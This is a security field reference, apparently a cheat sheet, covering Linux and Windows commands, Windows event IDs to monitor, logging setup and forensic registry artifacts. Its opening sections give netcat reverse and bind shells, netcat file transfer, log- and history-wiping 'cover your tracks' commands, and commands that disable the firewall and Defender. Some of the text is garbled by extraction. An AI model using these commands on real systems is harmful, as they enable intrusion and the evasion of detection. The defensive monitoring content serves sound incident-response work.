service <service> start :start service service ssh start; netstat -antp | grep sshd :start service then check to see running service apache2 start :start apache web service /etc/init.d/apache2 restart :alt method to restart apache svc echo "Testing testing" > /var/www/index.html :make web server file to test update-rc.d <service> enable :auto enable service on startup :RDP (mstsc for linux) to <ip> rdesktop <ip> scp /tmp/file user@x.x.x.x/tmp/file :secure copy (put) file :secure copy (get) file scp user@<remoteip>:/tmp/file /tmp/file passwd <user> :change user password rmuser uname :remove user script -a <outfile> :record shell : Cntrl-D stops apropos <subject> :find related command history :view users command history !<num> :executes line # in history wget :pull files

Netcat/Ncat Connections / Bind & Reverse Shells

Updated version of netcat ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl :ncat listener(replaced netcat) ncat -v 10.0.0.22 4444 --ssl :ncat connect to listener ncat -lvp 4444 -e cmd.exe -allow <ip> --ssl :attacker listener-ssl ncat -v <attacker listener ip> 4444 --ssl :victim connects Traditional netcat listener/connector nc -nlvp 4444 :ncat listener over port 4444 nc -nv <ip of listener> 4444 :ncat connector Netcat listener to transfer file :netcat listener (don't forget firewall) nc -l -p <port> > bo.txt (victim) nc -w 3 <ip> <port> < bo.txt (attacker) :netcat connect to listener Netcat listener to transfer a file nc -nlvp 4444 > incoming.exe :netcat listener for incoming file nc -nv <ip of listener> 4444 </usr/share/windows-binaries/wget.exe :send file Netcat bind shell (attacker makes connection to victim) nc -lvp 4444 -e cmd.exe :netcat listener to gain cmd line access :netcat connector from victim behind FW nc -vn <listener ip> 4444 ipconfig (access to computer) Netcat reverse shell (victim makes connection to attacker for cmd line) nc -nlvp 4444 :netcat listener on attacker nc -nv <attacker ip> 4444 -e /bin/bash :victim reaches out to make connection id; uname -a (access to computer) nc -nv <ip> 25 ;HELP :netcat connect to mail server, see help nc -nv <ip> 110 ;USER bob; PASS bob :netcat connect to mail server over 110 nc -nv <ip> 143 ;USER bob; PASS bob :netcat connect to mail server over 143

Linux Cover Your Tracks Commands

echo "" > /varlog/auth.log :clear auth.log file echo "" > ~/.bash history :clear current user bash history rm ~/.bash history -rf :delete .bash history file history -c :clear current session history export HISTFILESIZE=0 :set history max lines to 0 export HISTSIZE=0 :set history max commands to 0 unset HISTFILE :disable history logging (log out after) kill -9 \$\$:kills current session

Linux File System Structure

/bin	:user binaries
/boot	:boot-up related files
/dev	:interface for system devices
/etc	:system configuration files
/home	:base directory for user files
/lib	critical software libraries:
/opt	:third party software
/proc	:system and running programs
/root	:home directory of root user
/sbin	:system administrator binaries
/tmp	:temporary files
/usr	:less critical files
/var	:variable system files

Linux Files

Linux Fites	
/etc/shadow	:local users' hashes
/etc/passwd	:local users
/etc/group	:local groups
/etc/rc.d	:startup services
/etc/init.d	:service
/etc/hosts	:known hostnames and IPs
/etc/HOSTNAME	:full hostname with domain
/etc/network/interfaces	:network configuration
/etc/profile	:system environment variables
/etc/apt/sources.list	:Ubuntu sources list
/etc/resolv.conf	:nameserver configuration
/home/ <user>/.bash history</user>	:bash history (also /root/)
/usr/share/wireshark/manuf	:vendor-MAC lookup
~/.ssh/	:SSH keystore
/var/log/	:system log files (most Linux)
/var/adm	:system log files (Unix)
/var/spool/cron	:list cron files
/etc/cron.daily	:daily cron jobs
/var/log/apache/access.log	:Apache connection log
/etc/fstab	:static file system info

Linux Shell Essentials

Up/down	:command history
Tab auto complete	:once for unique, twice for non-unique
Cntrl+R then chars	:find recent commands
Cntrl+L	:clear screen
Cntrl+C	:stop current command
clear	:command to clear shell

Appendix: Windows Essentials

Disable Group Policy / Windows Defender / Windows Firewall

Disable Windows Firewall
netsh advfirewall set allprofiles state off

```
Disable Group Policy
cmd

REG add "HKLM\SYSTEM\CurrentControlSet\services\gpsvc" /v Start /t REG_DWORD /d 4 /f
<OR>
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gpsvc\start :change to "4"
First need to take ownership <cmd would be takeown & icacls)

Stop Group Policy Client:
net stop gpsvc

Disable Windows Defender
REG add "HKLM\ SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware" /v
Start /t REG_DWORD /d 1 /f :1=disable;0=enable
```

Windows Essential Tools

Cygwin	:Windows	emulator	for	linux	tools
Sysinternals	:several	good too	ls		

Windows Search

Windows System Info

whoami	:check who you are running as
set username	:similar to whoami (see current user)
set path	:check current path
net user	:list of local users defined on machine
net user <user> <password> /add (or /del)</password></user>	:add or delete a user
net localgroup	:local groups created on machine
net localgroup administrators	:users in local admin group
<pre>net localgroup administrators <user> /add/del</user></pre>	:add or delete a user to admin group
dir	:view current directory
sc query	:list running services
sc query stat= all	:view all services, not just running
sc config <service_name> start=demand</service_name>	:set a service so we can manually start
tasklist	:list running processes
taskkill /PID <process_id></process_id>	:kill a running process
nbtstat -A <ip></ip>	:get hostname for ip
netsh advfirewall show allprofiles	:show firewall settings (/? For help)
netsh advfirewall firewall add rule name="name	" dir=in action=allow remoteip= <yourip></yourip>
protocol=TCP localport=port	:create an entry in host firewall
netsh advfirewall set all profiles state off	:turn the firewall off
control /name Microsoft.WindowsDefender	:disable Windows Defender
runas /u: <user> cmd.exe</user>	:run cmd prompt as different user

Windows Remote Commands

Windows Network Commands

nslookup <name ip=""></name>	:dns query
ping	:
tracert -6	:-6 for IPv6
netstat -nao	:view network activity
ipconfig	:view network settings
ipconfig /displaydns	:view DNS cache

Windows File Commands

Appendix: Incident Response checkCriticalWindowsEventLogs

check Critical Windows Event Logs. ps 1

THIS SCRIPT IS PROVIDED "AS IS" WITH NO WARRANTIES OR GUARANTEES OF ANY
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PARTICULAR PURPOSE. ALL RISKS OF DAMAGE REMAINS WITH THE USER, EVEN IF THE
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SUCH DAMAGE. IF YOUR STATE DOES NOT PERMIT THE COMPLETE LIMITATION OF
LIABILITY, THEN DO NOT DOWNLOAD OR USE THE SCRIPT. NO TECHNICAL SUPPORT
WILL BE PROVIDED.
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4720,4722,4724,4738,4732,1102}
Get-WinEvent -FilterHashtable @{LogName="System";
ID=7030,7045,1056,7045,10000,100001,10100,20001,20002,20003,24576,24577,24579}
Get-WinEvent -FilterHashTable @{LogName="Microsoft-Windows-Windows Firewall With
Advanced Security/Firewall"; ID=2003}

Appendix: Audit Policy

Critical Security Control #14

You should focus on the top five critical security controls as your top priorities of effort.

Log Aggregation

We currently have several syslog servers which forwards to Splunk. The AIX team, Linux team, and PTC team have their own Syslog servers. We have specialized syslog servers ourselves (takes data that should be going through Splunk). We also forward several individual sources to Splunk - like databases, F5, etc. Endpoints are testing being forwarded to Seneca which forwards to Splunk

Critical Windows Events to Monitor

Malware Archaelogy has a really great write-up on how to filter logging and setting it up. Keep in mind Splunk is an expensive license. It goes over auditing the Sexy Six Event IDs plus a few extra.

 $\frac{\text{https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/56b36b4d3c44d86cf333}}{41\text{ca}/1454598990744/Windows+Splunk+Logging+Cheat+Sheet+v1.1.pdf}}$

WINDOWS POWERSHELL COMMAND LINE EXECUTION: Event Code 500 will capture when PowerShell is executed logging the command line used.

WINDOWS FIREWALL CHANGES: Event Code 2004 will capture when new firewall rules are added.

SCHEDULE TASKS ADDED: Event Code 106 will capture when a new scheduled task is added.

The Sexy Six Event IDs

registry auto start locations

4657 will give more Registry details.

https://conf.splunk.com/session/2015/conf2015 MGough MalwareArchaelogy SecurityComplia nce FindingAdvnacedAttacksAnd.pdf

4688/592 - New Process - Look for the obvious .EXE's cscript.exe, sysprep.exe, nmap.exe, nbtstat.exe, netstat.exe, ssh.exe, psexec.exe, psexecsvc.exe, ipconfig.exe, ping.exe OR powershell.exe (SET, MetaSploit) Of course, new odd .exe's. Doesn't give any hashes—sysmon event code 1 gives hashes and additional details; SEC511 says 4688 with command line can often be used to reliably detect most modern post exploitation techniques; Look for length of commands; Also monitor user creation commands like net user ... /add (also event ID 4720) or escalation of privilege commands like net localgroups administrators <user> /add (also event ID 4732) 4624/528 /540 - Some account logged in. What accounts did and what accounts at what times are normal? Attackers who steal local creds and use to move laterall both create 4624, both listed as Logon Type: - the security ID will show domain vs computername monitor authentication via local creds (Ignore actual domin & NT Authority & Window Manager). Microsof Security Advisory 2871997 limited ability to pass the hash on local accounts, but RID 500 (local admin) & domain accounts still vulnerable. 5140/560 - A share was accessed. They most likely connected to the C\$ share. 5156 - Windows Firewall Network connection by process. Can see the process connection going to an IP that you can use GEOIP to resolve Country, Region and City. Noisy as it includes all internal connections as well. Event is filtered in favor of event code 3 from sysmon which can be properly filtered 7045/601/7030 - A new service is installed. Static systems don't get new services except at patch time and new installs. Change Management anyone? This is a tell tail sign. 7040 is a change of state of a service, good too. *Note* 7045 is an indicator of psexec, a great way to find lateral movement in a windows network - the real psexec will have a service name of PSEXESVC, meterpreter will have a high entropy name, and also SysInternals PsExec generates no errors but MetaSploit's generates Event ID 7030. 4663/567 - (NOISY). File auditing must be enabled on directories you want to monitor. The new files above would show up. Yes, there are ways to write to disk without Event logs being triggered in PowerShell and .NET, but this is rare and why monitoring

PowerShell is important. Very noisy event and requires a lot of filtering. Still a work in progress, though the Splunk forwarder also performs similar monitoring of

54

Additional Events To Monitor

- 106 scheduled task updated or created. Currently monitored by Splunk using correlation rules
- 500 Not yet receiving, powershell auditing
- 2 Sysmon event generated when file creation times are changed; Get-WinEvent @{LogName="application"; ProviderName="EMET"; id=2} shows EMET blocking Malware
- 5 Sysmon event generated when processes are terminated (determine when process attempts to shut down security processs)
- 6 Sysmon event generated when a driver is loaded, used to identify potential root kit installations
- 8 Sysmon event generated when remote threads are created, useful in identify cross-process code injection.
- 1056 RDP/Terminal Services forces creation of a self signed SSL cert 8003/8006/8004/8007 AppLocker would have blocked or it did block
- 1102 Audit Log Being Cleared

USB Events To Monitor (Critical Control 8-3)

7045, 10000, 100001, 10100, 20003, 24576, 24577, 24579, 20001 (sometimes 10002 instead of 10001)

SEC511 Events to Monitor:

Log Name	Provi der	Event IDs	Desc	ription
	der Name			
System	Name	7045		A service was installed in the
System		7045	1 '	system
System		7030		service is marked as an
by b cem		, 000		interactive service. However,
				the system is configured to
				not allow interactive
				services. This service may not
				function properly.
System		1056		Create RDP certificate
System		7045, 10000, 1		Insert USB
-1		10100, 20001,	,	
		20002, 20003,		
		24576, 24577,	24579	
Security		4624		Account Logon
Security		4625		Failed login
Security		4688		Process creation logging
Security		4720		A user account was created
Security		4722		A user account was enabled
Security		4724, 4738		Additional user creation
-		,		events
Security		4728	1.	A member was added to a
				security-enabled global group
Security		4732		A member was added to a
				security-enabled local group
Security		1102		Clear Event log
Application	EMET	2		EMET detected mitigation
				and will close the
				application:exe
Firewall		2003		Disable firewall
Microsoft-Windows-		8003		(EXE/MSI) was allowed to run
AppLocker/EXE and DLL				but would have been prevented
				from running if the AppLocker
				policy were enforced
Microsoft-Windows-		8004		(EXE/MSI) was prevented from
AppLocker/EXE and DLL				running.
Microsoft-Windows-		1116		Windows Defender has detected
WindowsDefender/Operati				malware or other potentially
onal				unwanted software
Microsoft-Windows-		1117		Windows Defender has taken
WindowsDefender/Operati				action to protect this machine
onal				from malware or other
				potentially unwanted software

NSA Spotting the Adversary with Event Log Monitoring

$\underline{\text{https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm}$

General Event Descriptions	General Event IDs
Account and Group Activities	4624, 4625, 4648, 4728, 4732, 4634, 4735,4740, 475
Application Crashes and Hangs	1000 and 1002
Windows Error Reporting	1001
Blue Screen of Death (BSOD)	1001
Windows Defender Errors	1005, 1006, 1008, 1010, 2001, 2003, 2004, 3002, 500
Windows Integrity Errors	3001, 3002, 3003, 3004, 3010 and 3023
EMET Crash Logs	1 and 2
Windows Firewall Logs	2004, 2005, 2006, 2009, 2033
MSI Packages Installed	1022 and 1033
Windows Update Installed	2 and 19
Windows Service Manager Errors	7022, 7023, 7024, 7026, 7031, 7032, 7034
Group Policy Errors	1125, 1127, 1129
AppLocker and SRP Logs	865, 866, 867, 868, 882, 8003, 8004, 8006, 8007
Windows Update Errors	20, 24, 25, 31, 34, 35
Hotpatching Error	1009
Kernel Driver and Kernel Driver Signing Errors	5038, 6281, 219
Log Clearing	104 and 1102
Kernel Filter Driver	6
Windows Service Installed	7045
Program Inventory	800, 903, 904, 905, 906, 907, 908
Wireless Activities	8000, 8001, 8002, 8003, 8011, 10000, 10001, 11000,
	11001, 11002, 11004, 11005, 11006, 11010, 12011,
	12012, 12013
USB Activities	43, 400, 410
Printing Activities	307

Cisco Logging - Change Detection

```
Cisco Configuration Change Notification and Logging enable configure terminal logging <syslog> archive log config logging enable logging size 1000 hidekeys notify syslog end
```

DNS Logging

```
Enable DNS Query Logging on Windows 2008/2012
DNS Manager / Action / Properties / Debug Logging

Enable Query Logging on Bind 9
logging {
    channel querylog {
        file "/var/log/named/query.log";
        print-time yes;
    };
    Category queries { querylog;};
};
```

FireWall Logging (SEC511)

Inbound & Outbound denies

Outbound Ports to Block/Log/Alert 22/tcp, 23/tcp, 25/tcp, 135/tcp, 137/udp, 139/tcp, 445/tcp, 1900/udp, 3389/tcp

Appendix: Forensics Deep Dive

Local Evidence Categories

User Communication
File Download
Program Execution
File / Folder Opening
File Knowledge
Physical Location
USB Key Usage
Account Usage
Browser Usage

File Download

 $\underline{\text{Open/Save MRU}}$ -This key tracks files that have been opened or saved within a Windows shell dialog box. This happens to be a big data set, including web browsers and common applications.

Location:

 $\begin{tabular}{ll} XP - NTUSER.DAT\Software\Microsoft\Windows\Current\Version\Explorer\ComDig32\OpenSaveMRU Win 7/8/10 - \end{tabular}$

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\OpenSavePID1MRU The "*" key - this subkey tracks the most recent files of any extension input in an OpenSave dialog

 $. \ref{eq:continuous}$ (Three letter extension) — This subkey stores file info from the OpenSave dialog by specific extension

Email Attachments - estimated that 80% of email data is stored via attachments. Email
standards only allow text. Attachments must be encoded with MIME/base64 format.
Location (Outlook):

XP - %USERPROFILE%\Local Settings\ApplicationData\Microsoft\Outlook

 $\label{local-Microsoft-Outlook} Win7/8/10 - \mbox{\colong} Local\Microsoft-Outlook$

Outlook data files found in these locations include OST and PST files. Also look at the OLK and Content Outlook folder, which might roam depending on the Outlook version used. For more info for OLK go to

 $\label{local_http://www.handcockcomputertech.com/blog/2010/06/find-the-microsoft-outlook-temporary-olk-folder$

<u>Skype History</u> - keeps a log of chat sessions and files transferred from one machine to another and is turned on by default Location:

XP - C:\Documents and Settings\<username>\Application\Skype\<skype-name>

Win7/8/10 - C:\%USERPROFILE%\AppData\Roaming\Skype\<skype-name>

Each entry will have a date/time value and Skype user name associated with the action Browser Artifacts - Not related to File Download, but details stored for each local user account. Records # times visited (frequency)
IE Location:

IE 8-9 - %USERPROFILE%\AppData\Roaming\Microsoft\Windows\IEDownloadHistory\index.dat IE10-11 - %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat Firefox Locations:

 $\label{lem:v3-25} \verb|-%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<\random$

text>.default\downloads.sqlite

 $\label{lem:v26+} V26+ - \\ $userprofile \\ \App Data \\ Roaming \\ Mozilla \\ Firefox \\ Profiles \\ \\ \arrangometric \\ \arrangome$

text>.default\places.sqlite Table:moz_annos

Chrome Location:

Win7/8/10: %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History Many sites in history will list files that were opened from remote sites and downloaded to the local system. History will record the access to the file on the website that was accessed via a link.

 $\overline{\text{Downloads}}$ - Firefox and IE have built in download manager application which keeps a history of every file downloaded by the user. This browser artifact can provide excellent information about what sites a user has been visiting and what kinds of files they have been downloading from them.

Firefox Location:

IE - %userprofile%\Application Data\Mozilla\Firefox\Profiles\<random</pre>

text>.default\downloads.sqlite
Win7/8/10 - %userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<random
text>.default\downloads.sqlite
IE:
IE8-9 - %USERPROFILE%\AppData\Roaming\Microsoft\Windows\IEDownloadHistory\
IE10-11 - %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat
Downloads include name, size, type, save location, download start and end times,
download from and referring page, application used to open file
ADS Zone.Identifier - Starting with XP SP2 when files are downloaded from the Internet
Zone via a browser to a NTFS volume, an alternate data stream is added to the file.
The alternate data stream is named "Zone Identifier."
Files with an ADS Zone.Identifier and contains ZoneID=3 were downloaded from the
Internet
URLZONE_TRUSTED = ZoneID = 2
URLZONE_INTERNET = ZoneID = 3
URLZONE_UNTRUSTED = ZoneID = 4

Program Execution

 $\underline{\text{UserAssist}}$ — GUI based program launched from the desktop are tracked in the launcher on a Windows system.

Location: NTUSER.DAT -

NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\(GUID)\Count All values are ROT-13 Encoded; XP GUID - 75048700 (Active Desktop); Win 7/8/10 GUID - CEBFF5CD (Executable File Execution); F4E57C4B (Shortcut File Execution)

Program Locations for Win7 Userassist: ProgramFilesx64 - 6D809377-...; ProgramFilesx86 - 7C5A40EF-...; System-IAC14E77-...; System86 - D65231B0-...; Desktop - B4BFCC3A - ...; Documents - FDD39AD0-...; Downloads - 374DE290-...; UserProfiles - 0762D272-...

<u>Last-Visited MRU</u> - Tracks the specific executable by an application to open the files documented in the OpenSave MRU key. In addition, each value also tracks the directory location for the last file that was accessed by that application (Example - Notepad.exe was last run using the C:\%USERPROFILE%\Desktop folder Location:

XP -

 $\label{thm:model} $$ NTUSER.DAT \setminus Microsoft\Windows\CurrentVersion\Explorer\ComDig32\LastVisitedMRU \ Win \ 7/8/10 -$

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\LastVisitedPid1

Tracks the application executables used to open files in OpenSaveMRU and the last path used.

RunMRU Start->Run - Whenever someone does a Start->Run command, it will log the entry for the command they executed.

Location - NTUSER.DAT HIVE;

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU The order in which the commands are executed is listed in the RunMRU list value. The letters represent the order in which the commands were executed.

<u>AppCompatCache</u> - Windows Application Compatibility Database is used by Windows to identify possible application compatibility challenges with executables. Tracks the executables file name, file size, last modified time, and in Windows XP the last update time.

Location:

XP - SYSTEM\CurrentControlSet\Control\SessionManager\AppCompatibility

Win 7/8/10 - SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\Any executable run on the Windows system could be found in this key. You can use this key to identify systems that specific malware was executed on. In addition, based on the interpretation of the time based data you might be able to determine the last time of execution or activity on the system.

Windows XP contains at most 96 entries — LastUpdateTime is updated when the files are executed

Windows 7 contains at most 1024 entries - LastUpdateTime does not exist on Win7 systems

<u>Jump Lists</u> - The Windows 7 task bar (Jump List) is engineered to allow users to "jump" or access items they have frequently or recently used quickly and easily. This functionality cannot only include recent media files; it must also include recent tasks. The data stored in the AUtomaticDestinations folder will each have a unique

file prepended with the $\ensuremath{\mathsf{AppID}}$ of the associated application.

Location Win7/8/10 -

Last time of execution of application w/file open - Modification Time = Last time item added to the AppID file

List of Jump List IDs -> http://www.forensicswiki.org/wiki/List of Jump List IDs

<u>Prefetch</u> - Increases performance of a system by pre-loading code pages of commonly used applications. Cache Manager monitors all files and directories referenced for each application or process and maps them into a .pf file. Utilized to know an application was executed on a system

Limited to 128 files on XP and Win7; Limited to 1024 files on Win8; (exename) - (hash).pf

Location - WinXP/7/8/10 - C:\Windows\Prefetch

Each .pf will include last time of execution, number of times run, and device and file handles used by the program

Date/Time file by that name and path was first execution - Creation Date of .pf file (-10 seconds)

Date/Time file by that name and path was last executed - Embedded last execution time of .pf file - last modification date of .pf file (-10 seconds) - Win8+ will contain last 8 times of execution

<u>Amacache.hve/RecentFileCache.bcf</u> - ProgramDataUpdater (a task associated with the Application Experience Service) uses the registry file RecentFilecache.bcf to store data during process creation.

 $\label{location win7/8/10 - C:\Windows\AppCompat\Programs\Amcache.hve (Win 7/8,8.1)} \\$

Win7 - C:\Windows\AppCompat\Programs\RecentFilecache.bcf

 $\label{eq:recentFileCache.bcf-Executable PATH and FILENAME and the program is probably new to the system$

The program executed on the system since the last ProgramDataUpdated task has been run Amcache.hve - Keys = Amcache.hve\Root\File\{Volume GUID}\\#####

Entry for every executable run, full path info, File's \$StandardInfo Last Modification Time, and Disk volume the executable was run from

First Run Time = Last Modification Time of Key

SHA1 hash of executable also contained in the key

File/Folder Opening

 $\underline{\text{Open/Save MRU}}$ - This key basically tracks files that have been opened or saved within a Windows shell dialog box. This is a big data set, including web browsers and commonly used applications.

Location:

 $\begin{tabular}{ll} XP - NTUSER.DAT\software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\OpenSaveMRU Win7/8/10 - \end{tabular} \label{lem:local_explorer}$

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\OpenSavePID1MRU The "*" key - tracks the most recent files of any extension input in an OpenSave dialog .??? (Three letter extension) - This subkey stores file info from the OpenSave dialog by specific extension.

<u>Last-Visited MRU</u> - Tracks the specific executable used by an application to open the files documented in the OpenSaveMRU key. In addition, each value also tracks the directory location for the last file that was accessed by that application (i.e. - Notepad.exe was last run using the C:\User\Rob\Desktop folder Location:

XP -

 $\label{lem:ntuser.dat} $$ NTUSER.DAT\software\mbox{$Microsoft\windows\currentVersion\ending} $$ 2\astVisitedMRU $$ Win7/8/10 - $$ $$$

 $\label{thm:main} $$ NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\LastVisitedPid1 MRU $$$

Tracks the application executables used to open files in OpenSaveMRU and the last file path used

Recent Files - Registry key that will track the last files and folders opened and is used to populate data in "Recent" menus of the Start menu
Location - NTUSER.DAT -

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs RecentDocs - overall key will track the overall order of the last 150 files or folders opened. MRU list will keep track of the temporal order in which each file/folder was opened. The last entry and modification time of this key will be the time and location the last file of a specific extension was opened.

.??? - This subkey stores the last files with a specific extension that were opened. MRU list will keep track of the temporal order in which each file was opened. The last entry and modification time of this key will be the time and location of the last file of a specific extension was opened.

Folder - This subkey stores the last folders that were opened. MRU list will keep track of the temporal order in which each folder was opened. The last entry and modification time of this key will be the time and location of the last folder opened.

 $\frac{ ext{Office Recent Files}}{ ext{it easier for users}}$ - MS Office programs will track their own Recent Files list to make

 $\begin{tabular}{l} Location - NTUSER.DAT\software\Microsoft\columnwidth\columnwidth) - 14.0=Office 2010; 12.0=Office 2007; 11.0 = Office 2003; 10.0 = Office XP \\ \end{tabular}$

NTUSER.DAT\Software\Microsoft\Office\VERSION\UserMRU\LiveID_####\FileMRU - 15.0=Office365

Similar to the Recent Files, this will track the last files that were opened by each MS Office application. The last entry added, per the MRU will be the time the last file was opened by a specific MS Office application.

 $\underline{\text{Shell Bags}}$ - Which folders were accessed on the local machine, the network, and/or removable devices. Evidence of previously existing folders after deletion/overwrite. When certain folders were accessed.

Location Explorer Access:

USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags

 ${\tt USRCLASS.DAT \setminus Local Settings \setminus Software \setminus Microsoft \setminus Windows \setminus Shell \setminus BagMRU}$

Location Desktop Access:

NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU

NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags

Stores information about which folders were most recently browsed by the user.

Shortcut (LNK) Files - Shortcut Files automatically created by Windows - Recent Items - Opening local and remote data files and documents will generate a shortcut file (.lnk) Location:

XP - C:\%USERPROFILE%\Recent

Win7/8/10 - C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\

C:\%USERPROFILE%\AppData\Roaming\Microsoft\OfficeRecent\

Note these are the primary locations of LNK files. They can also be found elsewhere Date/Time file of that name was first opened -CreationDate of Shortcut (LNK) file Date/Time file of that name was last opened - Last Modification Date of Shortcut (LNK) File

LNK Target File (Internal LNK File Information) Data: -Modification, Access, and Creation times of the target file -Volume Information (Name, Type, Serial Number) - Network Share Information -Original Location -Name of System

<u>Jump Lists</u> - The Windows 7 task bar (Jump List) is engineered to allow users to "jump" or access items have frequently or recently used quickly and easily. This functionality cannot only include recent media files; it must also include recent tasks. The data stored in the AutomaticDestinations folder will each have a unique file prepended with the AppID of the association application and embedded with LNK files in each stream.

Location Win7/8/10 -

C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations
Using the Structured Storage Viewer; open up one of the AUtomaticDestination jumplist
files

Each one of these files is a separate LNK file. They are also stored numerically in order from the earliest one (usually 1) to the most recent (largest integer value)

<u>Prefetch</u> - Increases performance of a system by pre-loading code pages of commonly used applications. Cache Manager monitors all files and directories referenced for each application or process and maps them into a .pf file. Utilized to know an application was executed on a system. Limited to 128 files on XP and Win7. Limited to 1024 files on Win8. (exename)-(hash).pf

Locations WinXP/7/8/10 - C:\Windows\Prefetch

Can examine each .pf file to look for file handles recently used Can examine each .pf file to look for device handles recently used

<u>Index.dat file://</u> - A little known fact about the IE History is that the information stored in the history files is not just related to Internet browsing. The history also records, local, removable, and remote (via network shares) file access giving us an excellent means for determining which files and applications were accessed on the system, day by day.

Location:

IE6-7 - %USERPROFILE%\Local Settings\History\History.IE5

IE8-9 - %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5

IE10-11 - %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\W*.dat

Stored in index.dat as file:///C:/directory/filename.ext

Does not mean file was opened in browser

Deleted File or File Knowledge

 $\underline{\text{XP Search}} - \underline{\text{ACMRU}}$ — You can search for a wide range of information through the search assistant on a Windows XP machine. The search assistant will remember a user's search terms for filenames, computers, or words that are inside a file. This is an example of where you can find the "Search History" on the Windows system.

Location NTUSER.DAT HIVE - NTUSER.DAT\Software\Microsoft\SearchAssistant\ACMru\#### Search the Internet - ####=5001

All or part of a document name - ####-5603

A word or phrase in a file - ####-5604

Printers, Computers, and People - ###-5647

 $\underline{\texttt{Search-WordWheelQuery}} - \texttt{Keywords} \ \texttt{search} \ \texttt{for} \ \texttt{from} \ \texttt{the} \ \texttt{START} \ \texttt{menu} \ \texttt{bar} \ \texttt{on} \ \texttt{a} \ \texttt{Windows} \ \texttt{7}$

Locations - Win7/8/10 NRUSER.DAT Hive -

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery Keywords are added in Unicode and listed in temporal order in an MRU list.

<u>Last-Visited MRU</u> - Tracks the specific executable used by an application to open the files documented in the OpenSaveMRU key. In addition each value also tracks the directory location for the last file that was accessed by that application. Location:

XP -

 $\label{thm:local_norm} $$ NTUSER.DAT\software\mbox{$Min 7/8/10-} $$ NT$

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\LastVisitedPid1 MRU

Tracks the application executables used to open files in OpenSaveMRU and the last file path used

 $\overline{\text{Catalogs}}$ - Hidden file in directory where pictures on Windows XP machine exist. Catalogs all the pictures and stores a copy of them thumbnail even if the pictures were deleted.

Location — Each directory where pictures resided that were viewed in thumbnail mode. Many cameras also will autogenerate thumbs .db file when you view the pictures on the camera itself

Thumbnail picture of original, last modification time, original filename

 $\overline{\text{Thumbscache}}$ - On Vista/Win7 versions of of Win, thumbs.db does not exist. The data now sit under a directory for each user of the machine located in their application data directory under their home directory.

Location - C:\%USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer

These are created when a user switches a folder to thumbnail mode or views pictures via a slide show. As it were, our thumbs are now stored in separate db files.

Vista/Win7 has 4 sizes for thumbnails and the files in the cache folder reflect this - 32 -> small; 96 -> medium; 256 -> large; 1024 -> extra large

The thumbscache will store the thumbnail copy of the picture based on the thumbnail size in the content of the equivalent database file

 $\underline{\text{XP Recycle Bin}}$ - The recycle bin is a very important location on a Windows file system to understand. It can help you when accomplishing a forensic investiragion, as every file that is deleted from a Windows recycle bin aware program is generally first put in the recycle bin.

Location Hidden System Folder

Windows XP - C:\RECYCLER* 2000/NT/XP/2003

Subfolder is created with user's SID

Hidden file in directory called "INFO2"
INFO2 Contains Deleted Time and Original Filename
Filename in both ASCII and UNICODE
SID can be mapped to user via Registry Analysis
Maps file name to the actual name and path it was deleted from

 $\underline{\text{Win }7/8/10}$ Recycle $\underline{\text{Bin}}$ - The recycle bin is a very important location on a Windows file system to understand. It can help you when accomplishing a forensic investigation, as every file that is deleted form a Windows recycle bin aware program is generally first put in the recycle bin.

Location Hidden System Folder

Win $7/8/10 - C:\$ Recycle.bin

Deleted Time and Original Filename contained in separate files for each deleted recovery file

SID can be mapped to user via Registry Analysis

Win7/8/10 Files Preceded by \$|##### files contain

Original PATH and name

Deletion Date/Time - Files Preceded by \$R##### files contain

Recovery Data

 $\frac{\text{Index.dat file://}}{\text{stored in the history file is not just related to Internet browsing.}}$ The history also records local and remote (via network share) file access, giving us an excellent means for determining which files and applications were accessed on the system, day by day. Location:

IE6-7: %USERPROFILE%\LocalSettings\History\History.IE5

IE8-9: %USERPROFILE%\AppData\Local\Microsoft\WindowsHistory\History.IE5

Stored in index.dat at $\underline{\text{file:}///\text{C:}/\text{directory}/\text{filename.ext}}$

Does not mean file was opened in browser

Physical Location

Timezone - Identifies the current system time zone

Location SYSTEM Hive - SYSTEM\CurrentControlSet\Control\TimeZoneInformation

Time activity is incredibly useful for correlation of activity

Internal log files and date/timestamps will be based on the system time zone information You might have other network devices and you will need to correlate information to the time zone information collected here.

<u>Network History</u> - Identify networks that the computer has been connected to. Networks could be wireless or wired. Identify domain name/intranet name. Identify SSID. Identify Gateway MAC Address.

Location Win7/8/10 Software Hive:

SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged

SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed

SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache

